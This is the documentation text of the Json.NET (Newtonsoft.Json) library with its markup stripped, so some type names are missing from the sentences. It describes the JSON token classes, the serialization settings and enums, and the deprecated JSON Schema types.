Releases unmanaged and - optionally - managed resources. true to release both managed and unmanaged resources; false to release only unmanaged resources. Sets the state of the . The being written. The value being written. The exception thrown when an error occurs while writing JSON text. Gets the path to the JSON where the error occurred. The path to the JSON where the error occurred. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class. The that holds the serialized object data about the exception being thrown. The that contains contextual information about the source or destination. The parameter is null. The class name is null or is zero (0). Initializes a new instance of the class with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The path to the JSON where the error occurred. The exception that is the cause of the current exception, or null if no inner exception is specified. Specifies how JSON comments are handled when loading JSON. Ignore comments. Load comments as a with type . Specifies how duplicate property names are handled when loading JSON. Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used. Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used. Throw a when a duplicate property is encountered. Contains the LINQ to JSON extension methods. Returns a collection of tokens that contains the ancestors of every token in the source collection. The type of the objects in source, constrained to . An of that contains the source collection. An of that contains the ancestors of every token in the source collection. Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection. The type of the objects in source, constrained to . An of that contains the source collection. An of that contains every token in the source collection, the ancestors of every token in the source collection. Returns a collection of tokens that contains the descendants of every token in the source collection. The type of the objects in source, constrained to . An of that contains the source collection. An of that contains the descendants of every token in the source collection. Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection. The type of the objects in source, constrained to . An of that contains the source collection. An of that contains every token in the source collection, and the descendants of every token in the source collection. Returns a collection of child properties of every object in the source collection. An of that contains the source collection. An of that contains the properties of every object in the source collection. Returns a collection of child values of every object in the source collection with the given key. An of that contains the source collection. The token key. An of that contains the values of every token in the source collection with the given key. Returns a collection of child values of every object in the source collection. An of that contains the source collection. An of that contains the values of every token in the source collection. Returns a collection of converted child values of every object in the source collection with the given key. The type to convert the values to. An of that contains the source collection. The token key. An that contains the converted values of every token in the source collection with the given key. Returns a collection of converted child values of every object in the source collection. The type to convert the values to. An of that contains the source collection. An that contains the converted values of every token in the source collection. Converts the value. The type to convert the value to. A cast as a of . A converted value. Converts the value. The source collection type. The type to convert the value to. A cast as a of . A converted value. Returns a collection of child tokens of every array in the source collection. The source collection type. An of that contains the source collection. An of that contains the values of every token in the source collection. Returns a collection of converted child tokens of every array in the source collection. An of that contains the source collection. The type to convert the values to. The source collection type. An that contains the converted values of every token in the source collection. Returns the input typed as . An of that contains the source collection. The input typed as . Returns the input typed as . The source collection type. An of that contains the source collection. The input typed as . Represents a collection of objects. The type of token. Gets the of with the specified key. Represents a JSON array. Gets the container's children tokens. The container's children tokens. Gets the node type for this . The type. Initializes a new instance of the class. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class with the specified content. The contents of the array. Initializes a new instance of the class with the specified content. The contents of the array. Loads an from a . A that will be read for the content of the . A that contains the JSON that was read from the specified . Loads an from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. A that contains the JSON that was read from the specified . Load a from a string that contains JSON. A that contains JSON. A populated from the string that contains JSON. Load a from a string that contains JSON. A that contains JSON. The used to load the JSON. If this is null, default load settings will be used. A populated from the string that contains JSON. Creates a from an object. The object that will be used to create . A with the values of the specified object. Creates a from an object. The object that will be used to create . The that will be used to read the object. A with the values of the specified object. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Gets the with the specified key. The with the specified key. Gets or sets the at the specified index. Determines the index of a specific item in the . The object to locate in the . The index of if found in the list; otherwise, -1. Inserts an item to the at the specified index. The zero-based index at which should be inserted. The object to insert into the . is not a valid index in the . Removes the item at the specified index. The zero-based index of the item to remove. is not a valid index in the . Returns an enumerator that iterates through the collection. A of that can be used to iterate through the collection. Adds an item to the . The object to add to the . Removes all items from the . Determines whether the contains a specific value. The object to locate in the . true if is found in the ; otherwise, false. Copies the elements of the to an array, starting at a particular array index. The array. Index of the array. Gets a value indicating whether the is read-only. true if the is read-only; otherwise, false. Removes the first occurrence of a specific object from the . The object to remove from the . true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . Represents a JSON constructor. Gets the container's children tokens. The container's children tokens. Gets or sets the name of this constructor. The constructor name. Gets the node type for this . The type. Initializes a new instance of the class. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class with the specified name and content. The constructor name. The contents of the constructor. Initializes a new instance of the class with the specified name and content. The constructor name. The contents of the constructor. Initializes a new instance of the class with the specified name. The constructor name. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Gets the with the specified key. The with the specified key. Loads a from a . A that will be read for the content of the . A that contains the JSON that was read from the specified . Loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. A that contains the JSON that was read from the specified . Represents a token that can contain other tokens. Occurs when the list changes or an item in the list changes. Occurs before an item is added to the collection. Gets the container's children tokens. The container's children tokens. Raises the event. The instance containing the event data. Raises the event. The instance containing the event data. Gets a value indicating whether this token has child tokens. true if this token has child values; otherwise, false. Get the first child token of this token. A containing the first child token of the . Get the last child token of this token. A containing the last child token of the . Returns a collection of the child tokens of this token, in document order. An of containing the child tokens of this , in document order. Returns a collection of the child values of this token, in document order. The type to convert the values to. A containing the child values of this , in document order. Returns a collection of the descendant tokens for this token in document order. An of containing the descendant tokens of the . Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order. An of containing this token, and all the descendant tokens of the . Adds the specified content as children of this . The content to be added. Adds the specified content as the first children of this . The content to be added. Creates a that can be used to add tokens to the . A that is ready to have content written to it. Replaces the child nodes of this token with the specified content. The content. Removes the child nodes from this token. Merge the specified content into this . The content to be merged. Merge the specified content into this using . The content to be merged. The used to merge the content. Gets the count of child JSON tokens. The count of child JSON tokens. Represents a collection of objects. The type of token. An empty collection of objects. Initializes a new instance of the struct. The enumerable. Returns an enumerator that can be used to iterate through the collection. A that can be used to iterate through the collection. Gets the of with the specified key. Determines whether the specified is equal to this instance. The to compare with this instance. true if the specified is equal to this instance; otherwise, false. Determines whether the specified is equal to this instance. The to compare with this instance. true if the specified is equal to this instance; otherwise, false. Returns a hash code for this instance. A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. Represents a JSON object. Gets the container's children tokens. The container's children tokens. Occurs when a property value changes. Occurs when a property value is changing. Initializes a new instance of the class. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class with the specified content. The contents of the object. Initializes a new instance of the class with the specified content. The contents of the object. Gets the node type for this . The type. Gets an of of this object's properties. An of of this object's properties. Gets a with the specified name. The property name. A with the specified name or null. Gets the with the specified name. The exact name will be searched for first and if no matching property is found then the will be used to match a property. The property name. One of the enumeration values that specifies how the strings will be compared. A matched with the specified name or null. Gets a of of this object's property values. A of of this object's property values. Gets the with the specified key. The with the specified key. Gets or sets the with the specified property name. Loads a from a . A that will be read for the content of the . A that contains the JSON that was read from the specified . is not valid JSON. Loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. A that contains the JSON that was read from the specified . is not valid JSON. Load a from a string that contains JSON. A that contains JSON. A populated from the string that contains JSON. is not valid JSON. Load a from a string that contains JSON. A that contains JSON. The used to load the JSON. If this is null, default load settings will be used. A populated from the string that contains JSON. is not valid JSON. Creates a from an object. The object that will be used to create . A with the values of the specified object. Creates a from an object. The object that will be used to create . The that will be used to read the object. A with the values of the specified object. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Gets the with the specified property name. Name of the property. The with the specified property name. Gets the with the specified property name. The exact property name will be searched for first and if no matching property is found then the will be used to match a property. Name of the property. One of the enumeration values that specifies how the strings will be compared. The with the specified property name. Tries to get the with the specified property name. The exact property name will be searched for first and if no matching property is found then the will be used to match a property. Name of the property. The value. One of the enumeration values that specifies how the strings will be compared. true if a value was successfully retrieved; otherwise, false. Adds the specified property name. Name of the property. The value. Determines whether the JSON object has the specified property name. Name of the property. true if the JSON object has the specified property name; otherwise, false. Removes the property with the specified name. Name of the property. true if item was successfully removed; otherwise, false. Tries to get the with the specified property name. Name of the property. The value. true if a value was successfully retrieved; otherwise, false. Returns an enumerator that can be used to iterate through the collection. A that can be used to iterate through the collection. Raises the event with the provided arguments. Name of the property. Raises the event with the provided arguments. Name of the property. Represents a JSON property. Gets the container's children tokens. The container's children tokens. Gets the property name. The property name. Gets or sets the property value. The property value. Initializes a new instance of the class from another object. A object to copy from. Gets the node type for this . The type. Initializes a new instance of the class. The property name. The property content. Initializes a new instance of the class. The property name. The property content. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Loads a from a . A that will be read for the content of the . A that contains the JSON that was read from the specified . Loads a from a . A that will be read for the content of the . The used to load the JSON. If this is null, default load settings will be used. A that contains the JSON that was read from the specified . Represents a view of a . Initializes a new instance of the class. The name. When overridden in a derived class, returns whether resetting an object changes its value. true if resetting the component changes its value; otherwise, false. The component to test for reset capability. When overridden in a derived class, gets the current value of the property on a component. The value of a property for a given component. The component with the property for which to retrieve the value. When overridden in a derived class, resets the value for this property of the component to the default value. The component with the property value that is to be reset to the default value. When overridden in a derived class, sets the value of the component to a different value. The component with the property value that is to be set. The new value. When overridden in a derived class, determines a value indicating whether the value of this property needs to be persisted. true if the property should be persisted; otherwise, false. The component with the property to be examined for persistence. When overridden in a derived class, gets the type of the component this property is bound to. A that represents the type of component this property is bound to. When the or methods are invoked, the object specified might be an instance of this type. When overridden in a derived class, gets a value indicating whether this property is read-only. true if the property is read-only; otherwise, false. When overridden in a derived class, gets the type of the property. A that represents the type of the property. Gets the hash code for the name of the member. The hash code for the name of the member. Represents a raw JSON string. Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class. The raw json. Creates an instance of with the content of the reader's current token. The reader. An instance of with the content of the reader's current token. Specifies the settings used when loading JSON. Initializes a new instance of the class. Gets or sets how JSON comments are handled when loading JSON. The default value is . The JSON comment handling. Gets or sets how JSON line info is handled when loading JSON. The default value is . The JSON line info handling. Gets or sets how duplicate property names in JSON objects are handled when loading JSON. The default value is . The JSON duplicate property name handling. Specifies the settings used when merging JSON. Initializes a new instance of the class. Gets or sets the method used when merging JSON arrays. The method used when merging JSON arrays. Gets or sets how null value properties are merged. How null value properties are merged. Gets or sets the comparison used to match property names while merging. The exact property name will be searched for first and if no matching property is found then the will be used to match a property. The comparison used to match property names while merging. Specifies the settings used when selecting JSON. Gets or sets a flag that indicates whether an error should be thrown if no tokens are found when evaluating part of the expression. A flag that indicates whether an error should be thrown if no tokens are found when evaluating part of the expression. Represents an abstract JSON token. Gets a comparer that can compare two tokens for value equality. A that can compare two nodes for value equality. Gets or sets the parent. The parent. Gets the root of this . The root of this . Gets the node type for this . The type. Gets a value indicating whether this token has child tokens. true if this token has child values; otherwise, false. Compares the values of two tokens, including the values of all descendant tokens. The first to compare. The second to compare. true if the tokens are equal; otherwise false. Gets the next sibling token of this node. The that contains the next sibling token. Gets the previous sibling token of this node. The that contains the previous sibling token. Gets the path of the JSON token. Adds the specified content immediately after this token. A content object that contains simple content or a collection of content objects to be added after this token. Adds the specified content immediately before this token. A content object that contains simple content or a collection of content objects to be added before this token. Returns a collection of the ancestor tokens of this token. A collection of the ancestor tokens of this token. Returns a collection of tokens that contain this token, and the ancestors of this token. A collection of tokens that contain this token, and the ancestors of this token. Returns a collection of the sibling tokens after this token, in document order. A collection of the sibling tokens after this tokens, in document order. Returns a collection of the sibling tokens before this token, in document order. A collection of the sibling tokens before this token, in document order. Gets the with the specified key. The with the specified key. Gets the with the specified key converted to the specified type. The type to convert the token to. The token key. The converted token value. Get the first child token of this token. A containing the first child token of the . Get the last child token of this token. A containing the last child token of the . Returns a collection of the child tokens of this token, in document order. An of containing the child tokens of this , in document order. Returns a collection of the child tokens of this token, in document order, filtered by the specified type. The type to filter the child tokens on. A containing the child tokens of this , in document order. Returns a collection of the child values of this token, in document order. The type to convert the values to. A containing the child values of this , in document order. Removes this token from its parent. Replaces this token with the specified token. The value. Writes this token to a . A into which this method will write. A collection of which will be used when writing the token. Returns the indented JSON for this token. ToString() returns a non-JSON string value for tokens with a type of . If you want the JSON for all token types then you should use . The indented JSON for this token. Returns the JSON for this token using the given formatting and converters. Indicates how the output should be formatted. A collection of s which will be used when writing the token. The JSON for this token using the given formatting and converters. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to []. The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an explicit conversion from to of . The value. The result of the conversion. Performs an explicit conversion from to . The value. The result of the conversion. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from [] to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from to . The value to create a from. The initialized with the specified value. Performs an implicit conversion from of to . The value to create a from. The initialized with the specified value. Creates a for this token. A that can be used to read this token and its descendants. Creates a from an object. The object that will be used to create . A with the value of the specified object. Creates a from an object using the specified . The object that will be used to create . The that will be used when reading the object. A with the value of the specified object. Creates an instance of the specified .NET type from the . The object type that the token will be deserialized to. The new object created from the JSON value. Creates an instance of the specified .NET type from the . The object type that the token will be deserialized to. The new object created from the JSON value. Creates an instance of the specified .NET type from the using the specified . The object type that the token will be deserialized to. The that will be used when creating the object. The new object created from the JSON value. Creates an instance of the specified .NET type from the using the specified . The object type that the token will be deserialized to. The that will be used when creating the object. The new object created from the JSON value. Creates a from a . A positioned at the token to read into this . A that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Creates a from a . An positioned at the token to read into this . The used to load the JSON. If this is null, default load settings will be used. A that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Load a from a string that contains JSON. A that contains JSON. A populated from the string that contains JSON. Load a from a string that contains JSON. A that contains JSON. The used to load the JSON. If this is null, default load settings will be used. A populated from the string that contains JSON. Creates a from a . A positioned at the token to read into this . The used to load the JSON. If this is null, default load settings will be used. A that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Creates a from a . A positioned at the token to read into this . A that contains the token and its descendant tokens that were read from the reader. The runtime type of the token is determined by the token type of the first token encountered in the reader. Selects a using a JSONPath expression. Selects the token that matches the object path. A that contains a JSONPath expression. A , or null. Selects a using a JSONPath expression. Selects the token that matches the object path. A that contains a JSONPath expression. A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. A . Selects a using a JSONPath expression. Selects the token that matches the object path. A that contains a JSONPath expression. The used to select tokens. A . Selects a collection of elements using a JSONPath expression. A that contains a JSONPath expression. An of that contains the selected elements. Selects a collection of elements using a JSONPath expression. A that contains a JSONPath expression. A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. An of that contains the selected elements. Selects a collection of elements using a JSONPath expression. A that contains a JSONPath expression. The used to select tokens. An of that contains the selected elements. Creates a new instance of the . All child tokens are recursively cloned. A new instance of the . Adds an object to the annotation list of this . The annotation to add. Get the first annotation object of the specified type from this . The type of the annotation to retrieve. The first annotation object that matches the specified type, or null if no annotation is of the specified type. Gets the first annotation object of the specified type from this . The of the annotation to retrieve. The first annotation object that matches the specified type, or null if no annotation is of the specified type. Gets a collection of annotations of the specified type for this . The type of the annotations to retrieve. An that contains the annotations for this . Gets a collection of annotations of the specified type for this . The of the annotations to retrieve. An of that contains the annotations that match the specified type for this . Removes the annotations of the specified type from this . The type of annotations to remove. Removes the annotations of the specified type from this . The of annotations to remove. Compares tokens to determine whether they are equal. Determines whether the specified objects are equal. The first object of type to compare. The second object of type to compare. true if the specified objects are equal; otherwise, false. Returns a hash code for the specified object. The for which a hash code is to be returned. A hash code for the specified object. The type of is a reference type and is null. Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. Gets the at the reader's current position. Initializes a new instance of the class. The token to read from. Initializes a new instance of the class. The token to read from. The initial path of the token. It is prepended to the returned . Reads the next JSON token from the underlying . true if the next token was read successfully; false if there are no more tokens to read. Gets the path of the current JSON token. Specifies the type of token. No token type has been set. A JSON object. A JSON array. A JSON constructor. A JSON object property. A comment. An integer value. A float value. A string value. A boolean value. A null value. An undefined value. A date value. A raw JSON value. A collection of bytes value. A Guid value. A Uri value. A TimeSpan value. Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. Gets the at the writer's current position. Gets the token being written. The token being written. Initializes a new instance of the class writing to the given . The container being written to. Initializes a new instance of the class. Flushes whatever is in the buffer to the underlying . Closes this writer. If is set to true, the JSON is auto-completed. Setting to true has no additional effect, since the underlying is a type that cannot be closed. Writes the beginning of a JSON object. Writes the beginning of a JSON array. Writes the start of a constructor with the given name. The name of the constructor. Writes the end. The token. Writes the property name of a name/value pair on a JSON object. The name of the property. Writes a value. An error will be raised if the value cannot be written as a single JSON token. The value to write. Writes a null value. Writes an undefined value. Writes raw JSON. The raw JSON to write. Writes a comment /*...*/ containing the specified text. Text to place inside the comment. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a [] value. The [] value to write. Writes a value. The value to write. Writes a value. The value to write. Writes a value. The value to write. Represents a value in JSON (string, integer, date, etc). Initializes a new instance of the class from another object. A object to copy from. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Initializes a new instance of the class with the given value. The value. Gets a value indicating whether this token has child tokens. true if this token has child values; otherwise, false. Creates a comment with the given value. The value. A comment with the given value. Creates a string with the given value. The value. A string with the given value. Creates a null value. A null value. Creates a undefined value. A undefined value. Gets the node type for this . The type. Gets or sets the underlying token value. The underlying token value. Writes this token to a . A into which this method will write. A collection of s which will be used when writing the token. Indicates whether the current object is equal to another object of the same type. true if the current object is equal to the parameter; otherwise, false. An object to compare with this object. Determines whether the specified is equal to the current . The to compare with the current . true if the specified is equal to the current ; otherwise, false. Serves as a hash function for a particular type. A hash code for the current . Returns a that represents this instance. ToString() returns a non-JSON string value for tokens with a type of . If you want the JSON for all token types then you should use . A that represents this instance. Returns a that represents this instance. The format. A that represents this instance. Returns a that represents this instance. The format provider. A that represents this instance. Returns a that represents this instance. The format. The format provider. A that represents this instance. Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. An object to compare with this instance. A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings: Value Meaning Less than zero This instance is less than . Zero This instance is equal to . Greater than zero This instance is greater than . is not of the same type as this instance. Specifies how line information is handled when loading JSON. Ignore line information. Load line information. Specifies how JSON arrays are merged together. Concatenate arrays. Union arrays, skipping items that already exist. Replace all array items. Merge array items together, matched by index. Specifies how null value properties are merged. The content's null value properties will be ignored during merging. The content's null value properties will be merged. Specifies the member serialization options for the . All public members are serialized by default. Members can be excluded using or . This is the default member serialization mode. Only members marked with or are serialized. This member serialization mode can also be set by marking the class with . All public and private fields are serialized. Members can be excluded using or . This member serialization mode can also be set by marking the class with and setting IgnoreSerializableAttribute on to false. Specifies metadata property handling options for the . Read metadata properties located at the start of a JSON object. Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance. Do not try to read metadata properties. Specifies missing member handling options for the . Ignore a missing member and do not attempt to deserialize it. Throw a when a missing member is encountered during deserialization. Specifies null value handling options for the . Include null values when serializing and deserializing objects. Ignore null values when serializing and deserializing objects. Specifies how object creation is handled by the . Reuse existing objects, create new objects when needed. Only reuse existing objects. Always create new objects. Specifies reference handling options for the . Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement . Do not preserve references when serializing types. Preserve references when serializing into a JSON object structure. Preserve references when serializing into a JSON array structure. Preserve references when serializing. Specifies reference loop handling options for the . Throw a when a loop is encountered. Ignore loop references and do not serialize. Serialize loop references. Indicating whether a property is required. The property is not required. The default state. The property must be defined in JSON but can be a null value. The property must be defined in JSON and cannot be a null value. The property is not required but it cannot be a null value. Contains the JSON schema extension methods. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Determines whether the is valid. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. The source to test. The schema to test with. true if the specified is valid; otherwise, false. Determines whether the is valid. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. The source to test. The schema to test with. When this method returns, contains any error messages generated while validating. true if the specified is valid; otherwise, false. Validates the specified . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. The source to test. The schema to test with. Validates the specified . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. The source to test. The schema to test with. The validation event handler. An in-memory representation of a JSON Schema. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets or sets the id. Gets or sets the title. Gets or sets whether the object is required. Gets or sets whether the object is read-only. Gets or sets whether the object is visible to users. Gets or sets whether the object is transient. Gets or sets the description of the object. Gets or sets the types of values allowed by the object. The type. Gets or sets the pattern. The pattern. Gets or sets the minimum length. The minimum length. Gets or sets the maximum length. The maximum length. Gets or sets a number that the value should be divisible by. A number that the value should be divisible by. Gets or sets the minimum. The minimum. Gets or sets the maximum. The maximum. Gets or sets a flag indicating whether the value can not equal the number defined by the minimum attribute (). A flag indicating whether the value can not equal the number defined by the minimum attribute (). Gets or sets a flag indicating whether the value can not equal the number defined by the maximum attribute (). A flag indicating whether the value can not equal the number defined by the maximum attribute (). Gets or sets the minimum number of items. The minimum number of items. Gets or sets the maximum number of items. The maximum number of items. Gets or sets the of items. The of items. Gets or sets a value indicating whether items in an array are validated using the instance at their array position from . true if items are validated using their array position; otherwise, false. Gets or sets the of additional items. The of additional items. Gets or sets a value indicating whether additional items are allowed. true if additional items are allowed; otherwise, false. Gets or sets whether the array items must be unique. Gets or sets the of properties. The of properties. Gets or sets the of additional properties. The of additional properties. Gets or sets the pattern properties. The pattern properties. Gets or sets a value indicating whether additional properties are allowed. true if additional properties are allowed; otherwise, false. Gets or sets the required property if this property is present. The required property if this property is present. Gets or sets the a collection of valid enum values allowed. A collection of valid enum values allowed. Gets or sets disallowed types. The disallowed types. Gets or sets the default value. The default value. Gets or sets the collection of that this schema extends. The collection of that this schema extends. Gets or sets the format. The format. Initializes a new instance of the class. Reads a from the specified . The containing the JSON Schema to read. The object representing the JSON Schema. Reads a from the specified . The containing the JSON Schema to read. The to use when resolving schema references. The object representing the JSON Schema. Load a from a string that contains JSON Schema. A that contains JSON Schema. A populated from the string that contains JSON Schema. Load a from a string that contains JSON Schema using the specified . A that contains JSON Schema. The resolver. A populated from the string that contains JSON Schema. Writes this schema to a . A into which this method will write. Writes this schema to a using the specified . A into which this method will write. The resolver used. Returns a that represents the current . A that represents the current . Returns detailed information about the schema exception. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets the line number indicating where the error occurred. The line number indicating where the error occurred. Gets the line position indicating where the error occurred. The line position indicating where the error occurred. Gets the path to the JSON where the error occurred. The path to the JSON where the error occurred. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class. The that holds the serialized object data about the exception being thrown. The that contains contextual information about the source or destination. The parameter is null. The class name is null or is zero (0). Generates a from a specified . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets or sets how undefined schemas are handled by the serializer. Gets or sets the contract resolver. The contract resolver. Generate a from the specified type. The type to generate a from. A generated from the specified type. Generate a from the specified type. The type to generate a from. The used to resolve schema references. A generated from the specified type. Generate a from the specified type. The type to generate a from. Specify whether the generated root will be nullable. A generated from the specified type. Generate a from the specified type. The type to generate a from. The used to resolve schema references. Specify whether the generated root will be nullable. A generated from the specified type. Resolves from an id. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets or sets the loaded schemas. The loaded schemas. Initializes a new instance of the class. Gets a for the specified reference. The id. A for the specified reference. The value types allowed by the . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. No type specified. String type. Float type. Integer type. Boolean type. Object type. Array type. Null type. Any type. Specifies undefined schema Id handling options for the . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Do not infer a schema Id. Use the .NET type name as the schema Id. Use the assembly qualified .NET type name as the schema Id. Returns detailed information related to the . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets the associated with the validation error. The JsonSchemaException associated with the validation error. Gets the path of the JSON location where the validation error occurred. The path of the JSON location where the validation error occurred. Gets the text description corresponding to the validation error. The text description. Represents the callback method that will handle JSON schema validation events and the . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. A camel case naming strategy. Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . A flag indicating whether extension data names should be processed. Initializes a new instance of the class. Resolves the specified property name. The property name to resolve. The resolved property name. Resolves member mappings for a type, camel casing property names. Initializes a new instance of the class. Resolves the contract for a given type. The type to resolve a contract for. The contract for a given type. Used by to resolve a for a given . Gets a value indicating whether members are being get and set using dynamic code generation. This value is determined by the runtime permissions available. true if using dynamic code generation; otherwise, false. Gets or sets the default members search flags. The default members search flags. Gets or sets a value indicating whether compiler generated members should be serialized. true if serialized compiler generated members; otherwise, false. Gets or sets a value indicating whether to ignore the interface when serializing and deserializing types. true if the interface will be ignored when serializing and deserializing types; otherwise, false. 